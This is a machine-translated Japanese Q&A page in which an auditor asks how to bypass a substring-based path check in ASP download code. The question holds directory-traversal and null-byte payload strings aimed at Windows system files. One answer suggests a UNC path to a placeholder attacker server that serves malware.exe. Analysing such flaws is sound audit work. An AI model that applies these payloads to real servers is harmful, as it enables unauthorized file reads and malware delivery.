web-dev-qa-db-ja.com

任意のファイルダウンロードの脆弱性

私はWindows環境でASPコードの可能性のある脆弱な部分を監査しています。コードは次のとおりです。

If InStr(strPath, "\Only\Download\From\Here\", CompareMethod.Text) = 0 Then

基本的には、ダウンロードスクリプトがその場所からファイルを取得することだけを想定しています。 Webサーバーのディレクトリトラバーサルがオフになっています。つまり、次の送信は機能せず、実際には403 forbiddenが返されます。

\Only\Download\From\Here\..\..\..\..\..\c:\windows\system32\eula.txt

関数saisは「BeginsWith」(疑似コード)ではなく「InStr」であるため、文字列にパスが含まれているかどうかをチェックするだけで、実際にはパスで始まっていません。

次の送信はIf句を通過しますが、見つからないファイルに戻ります。

c:\windows\system32\eula.txt%00\Only\Download\From\Here\

ここで挿入されたnullbyteは何もせず、文字列全体に一致するファイルを見つけようとします。また、CRLF、#、を注入してみました。もっと。

私の質問は、任意のファイルを正常にダウンロードするクエリ文字列を送信できる方法があるかどうかです。ファイルを取得し、/ Only/Download/From/HereをコメントアウトするファイルURIを送信する方法はありますか?.

編集:要約すると、ASP、Webサーバー、またはWindowsでのファイルの処理におけるバグ/機能/脆弱性を介して、ファイル名の最後の部分を「コメント」する何らかの方法を探しています。

4
Chris Dale

システム上のファイルにアクセスできない可能性がありますが、UNCパスにアクセスできるようになっている場合は、依然として脆弱性の可能性があります。サーバーに次のような任意のファイルをダウンロードさせることができます:

\\evil-server-example.com\Only\Download\From\Here\malware.exe

Windowsファイル共有をインターネットで利用できるサーバーを、オープンアクセスの共有でセットアップするだけです。これにより、ファイルがダウンロードされますが、OSの構成や処理しているコードによっては保存されない場合があります。保存されている場合は、一時ディレクトリにある可能性があります。後でこれを活用できる場合があります。

2
Polynomial

サーバーのソースコードを変更できる別の脆弱性がない限り、実際のASPソースコードファイルの\Only\Download\From\Here\パスをコメント化することはできません。

CRLF, # etcを使用すると、実際のASPコードファイル内の\Only\Download\From\Here\の小さな部分がコメント化または無視されます。これはほとんど不可能です。

リクエストが行われるたびに、WebサーバーはASPファイルからソースコードを読み取り、それをコンパイルします。任意のファイルをダウンロードするという目標は、Webにロードされたコードを挿入する場合にのみ達成できます無視する特定の要求のサーバーメモリ\Only\Download\From\Here\

編集:これを悪用する唯一の可能な方法は、ディレクトリトラバーサルが行うようにパスを偽装することですが、ここにはそのオプションはありません。 WebサーバーまたはWindows自体によるファイルパス処理の欠陥がこれを引き起こす可能性がある場合、それはこのASPコード以外の完全に異なる脆弱性になります。

1
Kapish M